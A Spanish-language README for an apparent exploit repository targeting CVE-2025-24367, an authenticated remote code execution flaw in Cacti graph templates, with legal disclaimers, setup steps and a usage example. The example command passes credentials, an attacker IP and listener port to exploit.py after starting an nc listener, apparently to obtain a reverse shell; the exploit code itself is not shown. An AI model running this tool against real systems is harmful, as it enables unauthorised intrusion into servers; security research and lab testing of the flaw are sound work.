CVE-2025-24367 - RCE en plantillas de gráficos autenticadas de Cacti

Uso y seguridad

Importante — Léalo primero:
Este repositorio y exploit.py se proporcionan solo con fines educativos y de investigación. No utilice este código contra sistemas, redes o servicios para los cuales no tenga autorización explícita y por escrito. El acceso no autorizado a sistemas informáticos es ilegal y poco ético. Al usar este código, usted acepta cumplir con las leyes aplicables y las políticas institucionales.

Requisitos

• Python 3.8+

python3 -m venv venv
source venv/bin/activate
pip install requests beautifulsoup4

Uso

python3 exploit.py -u <username> -p <password> -i <attacker_ip> -l <listener_port> -url <target_url> [--proxy]

Ejemplo

Antes de ejecutar el script, asegúrese de tener un listener de nc en ejecución. Ejecute el script sin proxy a menos que esté depurando:

python3 exploit.py \
  -u testuser \
  -p Welcome1 \
  -i 192.168.43.11 \
  -l 4444 \
  -url http://localhost

ADVERTENCIAS MUY IMPORTANTES

• No ejecute esto contra sistemas de producción ni contra ningún sistema que no sea de su propiedad o para el que no tenga permiso explícito para realizar pruebas.
• Obtenga siempre autorización por escrito antes de realizar pruebas de seguridad.
• Utilice entornos de laboratorio aislados (por ejemplo, máquinas virtuales, contenedores o redes de prueba creadas específicamente) para la experimentación.
• Su organización puede tener políticas de divulgación y notificación — sígalas.
• Los autores no aceptan ninguna responsabilidad por el mal uso de este código.

Recordatorio final: Este script y el README son solo para uso educativo. Nunca utilice estas herramientas para acceder a sistemas de forma ilegal.